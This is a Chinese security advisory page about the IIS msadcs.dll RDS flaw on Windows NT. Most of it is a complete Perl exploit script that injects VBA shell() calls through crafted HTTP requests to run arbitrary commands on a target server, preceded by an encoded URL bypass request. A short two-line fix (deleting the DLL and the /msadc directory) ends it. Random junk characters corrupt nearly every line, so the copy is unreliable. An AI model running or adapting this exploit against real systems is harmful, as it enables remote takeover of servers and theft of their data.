IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
wq|7sk{ x)pR^t7u8 涉及程序：
m/ q `k Microsoft NT server
Cj=_WWo o;21|[z 描述：
3:)_ oHq 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
%)Z,?DzZ Res4;C 详细：
5j v*C]z 如果你没有时间读详细内容的话，就删除:
%f?Zg44 c:\Program Files\Common Files\System\Msadc\msadcs.dll
??P %. 有关的安全问题就没有了。
_4T7Vg'' KAi_+/]K_ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
=sso )/3 1SH]$V4C 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
`d Wnu3r; 关于利用ODBC远程漏洞的描述，请参看:
,4=mlte" $wyPGok http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4,f`C0>" x=-(p}0o;< 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
DXFDs=u http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?M^qSo=/~ 3.9/mztS 这里不再论述。
~Kl"V% > ~pHuh#> 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
h/2@4XKj eFotV.T!# /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
F&lH5 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
@ NL37 C 1!yd(p=cL xLms|jS #将下面这段保存为txt文件，然后: "perl -x 文件名"
Xpv<v[a -zWNQp$ #!perl
$$SJLV #
C$$Zwg y # MSADC/RDS 'usage' (aka exploit) script
RR|X4h0.
#
VrWQ] L # by rain.forest.puppy
6@"E*-z$ #
=A ~5?J= # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
8kC$Z ) # beta test and find errors!
4`Zo Ar-5| n/`!G?kvI use Socket; use Getopt::Std;
)L7[;(gQ getopts("e:vd:h:XR", \%args);
@
'c(q=K; 2jlz #Sk print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;$8ptB . -d t hY(8 if (!defined $args{h} && !defined $args{R}) {
9g#
62oIg print qq~
b~B'FD Usage: msadc.pl -h <host> { -d <delay> -X -v }
k!G{#(++&6 -h <host> = host you want to scan (ip or domain)
/q8B | (U -d <seconds> = delay between calls, default 1 second
?NvE9+n -X = dump Index Server path table, if available
0:-z+`RHE -v = verbose
';}:*nZ//_ -e = external dictionary file for step 5
'n^? DPvD j&U7xv Or a -R will resume a command session
Vk2%yw> @4KKm@(p85 ~; exit;}
w
`+.F;}s qu!x#OY+ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9I`0`o"A if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
` gF`Sgz if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
4E_u.tJ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}gFa9M< $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
b4EUr SL if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Y+kuj],h { U@"]{3Qx if (!defined $args{R}){ $ret = &has_msadc;
,\i,2<hz. die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
K9Onjs% U SL`; `// print "Please type the NT commandline you want to run (cmd /c assumed):\n"
}_-tJ. . "cmd /c ";
X"mPRnE330 $in=<STDIN>; chomp $in;
W7(5z $command="cmd /c " . $in ;
IWm@pfC+g bxO[y<|XL if (defined $args{R}) {&load; exit;}
\}%_FnP0ZU I2pE}6q print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>o%X;U
3 &try_btcustmr;
vbX.0f "n y+= s/c print "\nStep 2: Trying to make our own DSN...";
2pv by`P4 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
:;TF_S v /|#2ehE print "\nStep 3: Trying known DSNs...";
U#- 5",X| &known_dsn;
S6\E
I5S $=#Lf[| f= print "\nStep 4: Trying known .mdbs...";
3sIdwY)ZS_ &known_mdb;
'4D7: M n3j6a if (defined $args{e}){
Bn%?{z) print "\nStep 5: Trying dictionary of DSN names...";
*_m ER` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
/;:4$2R(; J_j4 Zb% K print "Sorry Charley...maybe next time?\n";
vO53?vN[m9 exit;
MxUQ F?@6 iQ1[60?) T ##############################################################################
Wb#<c tM> L>&{<M_ sub sendraw { # ripped and modded from whisker
=v!Z8zk=W sleep($delay); # it's a DoS on the server! At least on mine...
8kr$w$=q my ($pstr)=@_;
XiV
K4sD8 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
-e?n4YO*\ die("Socket problems\n");
VKw.g@BY if(connect(S,pack "SnA4x8",2,80,$target)){
?R4u>AHS@ select(S); $|=1;
,\1Rf. print $pstr; my @in=<S>;
J5O/c,?g select(STDOUT); close(S);
$P)-o?eer return @in;
pHye8v4fvi } else { die("Can't connect...\n"); }}
Cs,Cb2[ _VM}]A ##############################################################################
;4 9sou h,-i\8gq sub make_header { # make the HTTP request
#Ye0*` my $msadc=<<EOT
p&0 G POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
.wTb/ x User-Agent: ACTIVEDATA
;Xqi;EA Host: $ip
PR AP~P&^ Content-Length: $clen
[3ggJcUgW> Connection: Keep-Alive
qF-Fc q I>w|80%% ADCClientVersion:01.06
'vZy-qHrV Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
E ZVgTySd p2fzbBt --!ADM!ROX!YOUR!WORLD!
t$p%UyVE Content-Type: application/x-varg
^vv 1cft Content-Length: $reqlen
8Fbt >-N<\ S$P=;#r EOT
;9-J=@KY4 ; $msadc=~s/\n/\r\n/g;
BZKg:;9 return $msadc;}
^y93h8\y nB[B
FVkU ##############################################################################
0S
}\ML 4PR&67|AH_ sub make_req { # make the RDS request
V?>&9D "m my ($switch, $p1, $p2)=@_;
k8SY=HP my $req=""; my $t1, $t2, $query, $dsn;
tu@- +< * N6T if ($switch==1){ # this is the btcustmr.mdb query
!}c\u $query="Select * from Customers where City=" . make_shell();
a*_&[ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
O-pH~E $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
| 5q,%9_ D vN0h(? elsif ($switch==2){ # this is general make table query
m]'+Eye ]r $query="create table AZZ (B int, C varchar(10))";
ep`8LQf $dsn="$p1";}
_5p]Arg?}& E@l@f elsif ($switch==3){ # this is general exploit table query
2#CN:b]+ $query="select * from AZZ where C=" . make_shell();
s0h0Ep ED $dsn="$p1";}
Sht3\cJ8 G=CP17&h6 elsif ($switch==4){ # attempt to hork file info from index server
!c0x^,iE $query="select path from scope()";
.<YfnW5/K $dsn="Provider=MSIDXS;";}
3RD+;^}q 3 {A%&D^o) elsif ($switch==5){ # bad query
u@+^lRGFh $query="select";
hOs~/bM $dsn="$p1";}
f'7/Wj /Tw $} 8 $t1= make_unicode($query);
*IF ~ab2 $t2= make_unicode($dsn);
$RHw6*COG $req = "\x02\x00\x03\x00";
7C_U:x $req.= "\x08\x00" . pack ("S1", length($t1));
d7x6r3J$ $req.= "\x00\x00" . $t1 ;
nJ1<8 p $req.= "\x08\x00" . pack ("S1", length($t2));
F4~O-g.< $req.= "\x00\x00" . $t2 ;
h CV(O2jL $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
JE@3 UXg return $req;}
zP@\rZ @4 onS4ZE3B ##############################################################################
Wh "xt: ~H[_= sub make_shell { # this makes the shell() statement
9I#a{%A: return "'|shell(\"$command\")|'";}
%+#l{\z O`PQ4Q*F ##############################################################################
#"H<k(-Cz %RzkP}1>E sub make_unicode { # quick little function to convert to unicode
Lm0q/d2|\X my ($in)=@_; my $out;
`d
x.<R#, for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
qjf4G[]! return $out;}
O -p^S <K/iX%b? ##############################################################################
>Il{{{\> :g -vy9vb sub rdo_success { # checks for RDO return success (this is kludge)
Y8fel2; my (@in) = @_; my $base=content_start(@in);
!NK Py+v if($in[$base]=~/multipart\/mixed/){
w2`JFxQ^x return 1 if( $in[$base+10]=~/^\x09\x00/ );}
62[_u]<Yub return 0;}
6pZ/C <Y|W 6$csFW3 R ##############################################################################
X&@> M} wLg@BSC. sub make_dsn { # this makes a DSN for us
Y]B 9*^d< my @drives=("c","d","e","f");
q'Y )Y(d print "\nMaking DSN: ";
u=#_8e(9Z foreach $drive (@drives) {
9/R=_y- print "$drive: ";
4s <Z KU my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
0f5)] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
em ]0^otM . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
6}\J-A/ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Gq?>Bi;` return 0 if $2 eq "404"; # not found/doesn't exist
:0o ]#7 if($2 eq "200") {
i^4i]+ foreach $line (@results) {
6HpiG` return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
: D !/.0 } return 0;}
F7=&CW 0 k4"O} jQ O ##############################################################################
FuFICF7+C Rp}S m ,w( sub verify_exists {
Q[aBxy
( my ($page)=@_;
H^$ 7= my @results=sendraw("GET $page HTTP/1.0\n\n");
5<oV>|*@ { return $results[0];}
Ik=bgEF ag !q:6& ##############################################################################
rC ,ZRFF #g1,U7vv8 sub try_btcustmr {
;M *G my @drives=("c","d","e","f");
1ZWr@,\L my @dirs=("winnt","winnt35","winnt351","win","windows");
:ee'|c XNl!?*l5?l foreach $dir (@dirs) {
nfE4rI E4 print "$dir -> "; # fun status so you can see progress
>[P`$XkXd4 foreach $drive (@drives) {
DM(c :+K- print "$drive: "; # ditto
}. V!|R, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
3nUC,T%
$reqlenlen=length( "$reqlen" );
'W~6-c9y $clen= 206 + $reqlenlen + $reqlen;
irGgo-x y"w`yl{_ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
9 tCF m.m if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
b X/%Q^Y else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
-}H
EV#ev =~k#<q1^ ##############################################################################
TO ]
cZZ< j[fY.>yt& sub odbc_error {
dp'k$el my (@in)=@_; my $base;
xK_0@6
my $base = content_start(@in);
f!cYLU1e@ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
TF@k{_f $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_Oc\hW $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
su~J :~q $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(Lkcx06e return $in[$base+4].$in[$base+5].$in[$base+6];}
"^V Pe[lA print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
]%h |ox0 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
LJ*W&y(2>Q $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
uCf _O~ *p^*>~i9) ##############################################################################
K|rGJ 7 x(z sub verbose {
0?'v|5} my ($in)=@_;
/f ! ze| return if !$verbose;
L: UPS&) print STDOUT "\n$in\n";}
?!n0N\|i] NH8\&#}nAK ##############################################################################
<e-hR$ Sfffm$H sub save {
[nB4s+NX my ($p1, $p2, $p3, $p4)=@_;
@t3&#I}mc open(OUT, ">rds.save") || print "Problem saving parameters...\n";
;2,Q:&`
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
l}9E0^ AS close OUT;}
Yj*!t1qm BPypjS0?8 ##############################################################################
U)qG]RI p9*Ak
U&] sub load {
KU87WpjX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
EN @<z; open(IN,"<rds.save") || die("Couldn't open rds.save\n");
e >b|13X @p=<IN>; close(IN);
.^[{~#Pc* $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
oP`Qyk $target= inet_aton($ip) || die("inet_aton problems");
XWf1c ~J print "Resuming to $ip ...";
@kB^~Wf $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
o[ 4e_ @E if($p[1]==1) {
%OT?2-d $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
l9F]Lw $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
`"eIzLc%o6 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
` it if (rdo_success(@results)){print "Success!\n";}
M tBoX*" else { print "failed\n"; verbose(odbc_error(@results));}}
RJ$x{$r[ elsif ($p[1]==3){
U^9#uK6GM if(run_query("$p[3]")){
- ]U2G: print "Success!\n";} else { print "failed\n"; }}
xn2 f!\%p elsif ($p[1]==4){
l1" * if(run_query($drvst . "$p[3]")){
rjwP# print "Success!\n"; } else { print "failed\n"; }}
HH7Bg0=( exit;}
'a=QCO
0 xdrs!GV: ##############################################################################
Kq zQL u )'axJ sub create_table {
~ x g#6%<= my ($in)=@_;
f9?f!k $reqlen=length( make_req(2,$in,"") ) - 28;
^eCMATE $reqlenlen=length( "$reqlen" );
?0'd b $clen= 206 + $reqlenlen + $reqlen;
)L$)qfQ~x my @results=sendraw(make_header() . make_req(2,$in,""));
7;Vq r$9) return 1 if rdo_success(@results);
80Z'1'u0 my $temp= odbc_error(@results); verbose($temp);
rLI );!^- return 1 if $temp=~/Table 'AZZ' already exists/;
pXoT@[} return 0;}
n_P2l<F~/x I_iXu ;UX ##############################################################################
ECLQqjB JnXVI!+JDL sub known_dsn {
unAu8k^ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
0GMov]W?i my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
vQ1#Zg y "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
>
ZKHjw "banner", "banners", "ads", "ADCDemo", "ADCTest");
V})b.\"F `fq# W#Pu foreach $dSn (@dsns) {
1YvE/<6 print ".";
L(_bf/ @3 next if (!is_access("DSN=$dSn"));
ac#I $V- if(create_table("DSN=$dSn")){
VK^m]??s_ print "$dSn successful\n";
,g{Ob{qT if(run_query("DSN=$dSn")){
}"6
PM)s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
7uxUqM print "Something's borked. Use verbose next time\n";}}} print "\n";}
,2`FSL%J 05Y4=7,! ##############################################################################
|& AZ95v 9"b =W@ sub is_access {
9{XV=a v my ($in)=@_;
6"u"B-c z $reqlen=length( make_req(5,$in,"") ) - 28;
,?`Zrxe[ $reqlenlen=length( "$reqlen" );
3s$vaV~(a $clen= 206 + $reqlenlen + $reqlen;
-=a,FDeR my @results=sendraw(make_header() . make_req(5,$in,""));
nn{PhyK my $temp= odbc_error(@results);
_?c7{ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
4-~S"T8<u return 0;}
r oHJ$~q? oS#PBql4 ##############################################################################
{6gY6X-R Ql{:H5 sub run_query {
h0;R*c my ($in)=@_;
Q; 0 g $reqlen=length( make_req(3,$in,"") ) - 28;
3\0,>L9ET@ $reqlenlen=length( "$reqlen" );
}BJ R/r $clen= 206 + $reqlenlen + $reqlen;
D;+sStZK3 my @results=sendraw(make_header() . make_req(3,$in,""));
+$
0wBU return 1 if rdo_success(@results);
4LkW`Sbm my $temp= odbc_error(@results); verbose($temp);
/=S\v<z return 0;}
&v g[k#5 8m 5 T
##############################################################################
-^&NwLEv= 8 ;"HM5+ sub known_mdb {
YzeNr* my @drives=("c","d","e","f","g");
I D8u&: my @dirs=("winnt","winnt35","winnt351","win","windows");
U\x $@J my $dir, $drive, $mdb;
2su/I my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
WADA p\& 4)NbQ[ # this is sparse, because I don't know of many
{&0u:
my @sysmdbs=( "\\catroot\\icatalog.mdb",
S)=3%toS> "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(u-eL# @ "\\system32\\certmdb.mdb",
]lZ g }7h "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
l3HfaCP6: '0
J*9 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
V&Q_i E "\\cfusion\\cfapps\\forums\\forums_.mdb",
fO t?2Bh "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Ln"D .gpq "\\cfusion\\cfapps\\security\\realm_.mdb",
/uJ(W "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ms`U, "\\cfusion\\database\\cfexamples.mdb",
BL1d= %2 R "\\cfusion\\database\\cfsnippets.mdb",
rIQ%X`Y "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
D /b F "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
,qT+Vqpr{ "\\cfusion\\brighttiger\\database\\cleam.mdb",
f yhBfA:u "\\cfusion\\database\\smpolicy.mdb",
K 2!GpGZu "\\cfusion\\database\cypress.mdb",
qw6i|JM% "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
_DLELcH
Y "\\website\\cgi-win\\dbsample.mdb",
0rCQz3gh1 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
uG=~k O "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
~+CEek ); #these are just
fRomP -S foreach $drive (@drives) {
bO+]1nZ. foreach $dir (@dirs){
,C}s8|@ k foreach $mdb (@sysmdbs) {
i 2l/y,UX print ".";
$tB `dDj if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
p&k%d, * print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
kV@?Oj.&I, if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
rBZ0Fx$/[ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
W}'l8z] } else { print "Something's borked. Use verbose next time\n"; }}}}}
sny$[!) U%rq(`;
foreach $drive (@drives) {
H _FT%`iM foreach $mdb (@mdbs) {
ob]j1gY b print ".";
UM:]Qba In if(create_table($drv . $drive . $dir . $mdb)){
tX~ *.W: print "\n" . $drive . $dir . $mdb . " successful\n";
*NCkC
~4 if(run_query($drv . $drive . $dir . $mdb)){
_@OS,A print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
W?<<al* } else { print "Something's borked. Use verbose next time\n"; }}}}
<HH\VG\H6 }
7\[)5j l- $5CO ##############################################################################
/B)`p F.n TW-^C ;
sub hork_idx {
([dJ'OPx$ print "\nAttempting to dump Index Server tables...\n";
G>,43S!< print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
gubw&W $reqlen=length( make_req(4,"","") ) - 28;
@ )Nw>/; o $reqlenlen=length( "$reqlen" );
`wKd##v'@ $clen= 206 + $reqlenlen + $reqlen;
eL88lV]I my @results=sendraw2(make_header() . make_req(4,"",""));
1xjWD30 if (rdo_success(@results)){
]DjnzC lx my $max=@results; my $c; my %d;
P wU<RKAE for($c=19; $c<$max; $c++){
X8y :=k,E $results[$c]=~s/\x00//g;
m2[]`Ir^@ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
qyzH*#d=Cf $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
ko ~D;M: $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Egmp8:nZl@ $d{"$1$2"}="";}
^J'O8G$ foreach $c (keys %d){ print "$c\n"; }
%#TAz7 } else {print "Index server doesn't seem to be installed.\n"; }}
fLZ m QO u4h.\ul8% ##############################################################################
=
( 4l ^~^=$ fz sub dsn_dict {
h?p!uQ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
{LBL8sG while(<IN>){
mC}
b>\ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
wizLA0W next if (!is_access("DSN=$dSn"));
eI98J"h%? if(create_table("DSN=$dSn")){
@ *BVS'\ print "$dSn successful\n";
z| |FmL{ if(run_query("DSN=$dSn")){
||Vx:(d7D& print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Qt>Bvu Q print "Something's borked. Use verbose next time\n";}}}
$ kc cM& B print "\n"; close(IN);}
)v\ A8)[ 'm0_pM1:D ##############################################################################
y+h/jEbM</ Yf_/c*t\5 sub sendraw2 { # ripped and modded from whisker
-J>f,zA sleep($delay); # it's a DoS on the server! At least on mine...
d) GR]^=r my ($pstr)=@_;
o_a' <7\#i socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|k#EYf#Y die("Socket problems\n");
pgPm0 +N
if(connect(S,pack "SnA4x8",2,80,$target)){
E+cx 8( print "Connected. Getting data";
8>`8p0I$+
open(OUT,">raw.out"); my @in;
Oj
'^Ww m select(S); $|=1; print $pstr;
$B`ETI9g-N while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
b 9VI(s> close(OUT); select(STDOUT); close(S); return @in;
.EZ8yJj1Q } else { die("Can't connect...\n"); }}
ssAGWP /9o6R:B ##############################################################################
gfiFRwC`v w|f@sB>j sub content_start { # this will take in the server headers
u)vS ,dzu
my (@in)=@_; my $c;
IZuP{7p$ for ($c=1;$c<500;$c++) {
+I +RNXR/{ if($in[$c] =~/^\x0d\x0a/){
C!Jy;Z=+u if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
\+"Jg/)ij else { return $c+1; }}}
5xQ5)B4k return -1;} # it should never get here actually
WO$8j2!~# F`>qg2wO ##############################################################################
x"A\ Z-xxz G "i xw sub funky {
#'.
' |z my (@in)=@_; my $error=odbc_error(@in);
ZB]234`0 if($error=~/ADO could not find the specified provider/){
NR"C@3kD]o print "\nServer returned an ADO miscofiguration message\nAborting.\n";
xVT l exit;}
5b->p c if($error=~/A Handler is required/){
%4})_h?j print "\nServer has custom handler filters (they most likely are patched)\n";
KQ0f2? exit;}
udPLWrPF\ if($error=~/specified Handler has denied Access/){
pm 2] print "\nServer has custom handler filters (they most likely are patched)\n";
W9]0X
exit;}}
h-fm)1S_ }\1V%c ##############################################################################
O"1HO[ S[{,+{b0 sub has_msadc {
qB+OxyT& my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
'sTc=*p/ my $base=content_start(@results);
w$j6 !z return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
_&[ -< cu return 0;}
%qEp{itq r{f$n ########################
2OjU3z<J "]W, ,A- `Om
W# \ 解决方案：
u Yc}eMb 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
O&sU Pv 2、移除web 目录: /msadc
